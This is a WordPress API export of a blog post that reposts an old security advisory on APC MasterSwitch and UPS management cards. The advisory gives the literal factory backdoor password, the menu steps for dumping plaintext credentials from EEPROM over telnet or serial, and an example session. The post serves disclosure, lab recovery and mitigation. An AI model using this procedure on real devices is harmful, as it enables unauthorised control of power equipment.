{"id":36,"date":"2009-07-03T14:16:28","date_gmt":"2009-07-03T13:16:28","guid":{"rendered":"http:\/\/mccltd.net\/blog\/?p=36"},"modified":"2020-11-20T09:59:37","modified_gmt":"2020-11-20T09:59:37","slug":"hacking-apc-masterswitch-admin-password","status":"publish","type":"post","link":"http:\/\/darenmatthews.com\/blog\/?p=36","title":{"rendered":"Hacking APC Masterswitch Admin Password"},"content":{"rendered":"<p>Ever bought one of those APC Masterswitch PDU&#8217;s from eBay, then tried to login to the admin interface with the usual default &#8220;apc&#8221; \/ &#8220;apc&#8221; but found that the password had been changed?<\/p>\n<p>Manuals:<\/p>\n<ul>\n<li><a href=\"http:\/\/darenmatthews.com\/blog\/?attachment_id=281\" rel=\"attachment wp-att-281\">APC9211<\/a><\/li>\n<li><a href=\"http:\/\/darenmatthews.com\/blog\/?attachment_id=280\" rel=\"attachment wp-att-280\">Userguide AP9606 WebSNMP Management SmartSlot Card<\/a><\/li>\n<li><a href=\"http:\/\/darenmatthews.com\/blog\/?attachment_id=279\" rel=\"attachment wp-att-279\">Installation AP9606 WebSNMP Management SmartSlot Card<\/a><\/li>\n<\/ul>\n<p>The usual password recovery procedures (well documented) are quite tedious, requiring emails and serial numbers. What a pain!<\/p>\n<ul>\n<li>If you use one in your home lab this vulnerability will help you if you happen to buy one from eBay with the password set.<\/li>\n<li>If you use them on a production network &#8211; this could become an attack vector,\u00a0 so replace them or upgrade!<\/li>\n<\/ul>\n<p><strong>Here&#8217;s how to hack the password:<\/strong><!--more--><br \/>\n*** Background:<br \/>\nAPC (American Power Conversion) SmartSwitch and UPS (uninterruptible power<br \/>\nsupply) products have a Web and SNMP management card installed that permits<br \/>\nlocal serial console, TELNET, web and SNMP management, monitoring and<br \/>\nmains power control of attached devices.<\/p>\n<p>*** The Problem:<br \/>\nAPC SmartSlot Web\/SNMP management cards have a &#8220;backdoor&#8221; password that can<br \/>\nbe abused to extract plain text username\/password details for all accounts<br \/>\nand hence gain unauthorised full control of the device.<\/p>\n<p>Tested vulnerable:<br \/>\nSmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6<br \/>\nMasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0<\/p>\n<p>*** Description:<br \/>\nThe &#8220;backdoor&#8221; password is designed for use by the factory for initial<br \/>\nconfiguration of the card, e.g. MAC Address, Serial Number etc. However, it<br \/>\nis possible to dump the contents of EEPROM which amongst other things<br \/>\nstores the account usernames and passwords.<\/p>\n<p>The &#8220;backdoor&#8221; password is accepted via either the local serial port or<br \/>\nTELNET. Use of the password on the web interface does not appear to be<br \/>\npossible.<\/p>\n<p>*** To recreate (typical example):<br \/>\nConnect a console to the serial port or TELNET to the card. At the username<br \/>\nprompt use any username. The password is all alphabetic characters and is<br \/>\ncase sensitive: TENmanUFactOryPOWER<\/p>\n<p>At the selection prompt, type 13 and press return. Type the byte address of<br \/>\nthe EEPROM location to view, e.g. 1d0 and press return. Look carefully for<br \/>\nthe username and password pairs. Different firmware revisions may have the<br \/>\naccount details at different EEPROM locations. The accounts in the example<br \/>\nbelow are the default accounts after their passwords have been changed.<br \/>\nUsername: apc Password: BBCCDDEEF<br \/>\nUsername: device Password: AAAABBBBB<\/p>\n<p>Press return to get back to the Factory Menu and press ctrl-A to logout.<br \/>\nYou can now TELNET to the card again and use the account details you&#8217;ve<br \/>\njust recovered to log into and control the device.<\/p>\n<p>You should use the other selections with extreme care. You may cause<br \/>\nirrepairable damage and will most certainly invalidate any warranty.<br \/>\nThe EEPROM also contains other user-configurable options in either plain<br \/>\ntext or binary encoded form. They are not detailed in this advisory.<\/p>\n<p>Example:<\/p>\n<p>[root@always root]# telnet 192.168.1.1<br \/>\nTrying 192.168.1.1&#8230;<br \/>\nConnected to 192.168.1.1.<br \/>\nEscape character is &#8216;^]&#8217;.<\/p>\n<p>User Name : foo<br \/>\nPassword : TENmanUFactOryPOWER<\/p>\n<p>Factory Menu<br \/>\nto exit<\/p>\n<p>1AP9606<br \/>\n2WA0044004472<br \/>\n3G9<br \/>\n410\/25\/2000<br \/>\n500 C0 B7 A2 C8 2D<br \/>\n6v3.2.1<br \/>\n7A<br \/>\n8A<br \/>\n9192.168.1.1<br \/>\nA255.255.255.0<br \/>\nB192.168.1.254<br \/>\nC<br \/>\nD<br \/>\nE<br \/>\nF<br \/>\nG<\/p>\n<p>Selection&gt; 13<\/p>\n<p>Enter byte address in Hex(XXXX): 1d0<\/p>\n<p>01D0 FF 50 46 61 70 63 00 FF .PFapc..<br \/>\n01D8 FF FF FF FF FF FF 42 42 &#8230;&#8230;BB<br \/>\n01E0 43 43 44 44 45 45 46 00 CCDDEEF.<br \/>\n01E8 FF 64 65 76 69 63 65 00 .device.<br \/>\n01F0 FF FF FF FF 41 41 41 41 &#8230;.AAAA<br \/>\n01F8 42 42 42 42 42 00 FF 61 BBBBB..a<br \/>\n0200 64 6D 69 6E 20 75 73 65 dmin use<br \/>\n0208 72 20 70 68 72 61 73 65 r phrase<br \/>\n0210 00 FF FF FF FF FF FF FF &#8230;&#8230;..<br \/>\n0218 FF FF FF FF FF FF FF FF &#8230;&#8230;..<br \/>\n0220 64 65 76 69 63 65 20 75 device u<br \/>\n0228 73 65 72 20 70 68 72 61 ser phra<br \/>\n0230 73 65 00 FF FF FF FF FF se&#8230;&#8230;<br \/>\n0238 FF FF FF FF FF FF FF FF &#8230;&#8230;..<br \/>\n0240 FF 00 00 FF FF FF FF 21 &#8230;&#8230;.!<br \/>\n0248 56 00 00 00 00 00 00 55 V&#8230;&#8230;U<\/p>\n<p>nxt,b-bck,p-pch,other-exit<\/p>\n<p>***\u00a0 UPDATE: &#8220;padre-d&#8221; has created a password generator to recover passwords by leveraging this vulnerability:<\/p>\n<ul>\n<li>PADRE-D Coding: <a href=\"https:\/\/padre-d.com\/coding\/apc-masterswitch-ap9210-password-generator\/\" target=\"_blank\" rel=\"noopener noreferrer\">APC Masterswitch AP9210 Password Generator<\/a><\/li>\n<\/ul>\n<p>*** Workaround\/fix:<br \/>\nEnsure that access to the local serial port is physically restricted and<br \/>\ndisable the TELNET interface as described in the device documentation. A<br \/>\npatched version of the firmware which requires the management password<br \/>\nto be entered before accessing the factory settings may be available<br \/>\nfrom APC.<\/p>\n<p>*** Vendor status:<br \/>\nAPC were first notified six months ago on 12th August 2003 and were<br \/>\ninitially helpful in patching the problem. However, after testing a couple<br \/>\nof beta fixes I&#8217;ve heard nothing for over 3 months.<\/p>\n<p>Source:<br \/>\nDave Tarbatt,<br \/>\nhttp:\/\/null.sniffing.net\/<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ever bought one of those APC Masterswitch PDU&#8217;s from eBay, then tried to login to the admin interface with the usual default &#8220;apc&#8221; \/ &#8220;apc&#8221; but found that the password had been changed? Manuals: APC9211 Userguide AP9606 WebSNMP Management SmartSlot Card Installation AP9606 WebSNMP Management SmartSlot Card The usual password recovery procedures (well documented) are [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[8],"_links":{"self":[{"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/36"}],"collection":[{"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=36"}],"version-history":[{"count":20,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions"}],"predecessor-version":[{"id":2245,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/36\/revisions\/2245"}],"wp:attachment":[{"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=36"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=36"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/darenmatthews.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=36"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}